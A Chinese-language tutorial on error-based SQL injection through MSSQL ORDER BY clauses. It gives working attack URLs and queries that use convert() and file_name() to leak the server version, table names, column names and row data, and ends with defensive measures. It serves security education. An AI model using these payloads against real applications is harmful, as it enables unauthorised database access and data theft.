详解基于MSSQL “order by”语句报错的SQL注入技术
字数 882 2025-08-18 11:38:22
基于MSSQL "Order By"语句报错的SQL注入技术详解
技术背景
当用户提供的数据通过MSSQL的"Order By"语句中的值进行传递时,如果SQL查询中存在语法错误,应用程序会抛出SQL Server错误。传统基于错误的SQL注入技术在"Order By"子句中作为列名传递时无法生效,因为SQL Server已为查询预定义了一套安全规则。
核心原理
由于用户可以在Order by子句之后指定函数名称,而有些SQL Server函数可以:
- 执行以参数传入的查询
- 尝试对注入查询的结果执行操作
- 在操作遇到问题时抛出错误
这些函数会暴露注入SQL查询的结果,从而实现数据泄露。
可利用函数列表
以下SQL Server函数满足上述要求:
convert()file_name()db_name()col_name()filegroup_name()object_name()schema_name()type_name()cast()
漏洞利用演示
假设存在以下易受攻击的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
后台执行的SQL查询:
Select table_name,column_name from information_schema.columns order by column_name
1. convert()函数利用
查询SQL Server版本
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
实际查询:
select table_name,column_name from information_schema.columns order by convert(int,@@version)
原理:尝试将版本信息(varchar)转换为int类型导致错误
提取当前数据库表名
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))
实际查询:
select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))
从表中提取列名
使用十六进制表示表名:
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
实际查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
提取表中的列数据
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))
实际查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))
2. file_name()函数利用
查询SQL Server版本
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
实际查询:
select table_name,column_name from information_schema.columns order by file_name(@@version)
提取表中的列数据
攻击URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name((select top(1) xserver_name from spt_fallback_db))
实际查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))
防御措施
- 使用参数化查询而非字符串拼接
- 对用户输入进行严格验证和过滤
- 限制数据库错误信息的输出
- 使用最小权限原则运行数据库
- 对order by参数使用白名单验证
总结
这种技术利用了MSSQL特定函数在Order By子句中的行为,通过强制类型转换或其他操作引发错误,从而泄露数据库信息。防御关键在于避免直接将用户输入拼接到SQL查询中,特别是Order By这类动态排序场景。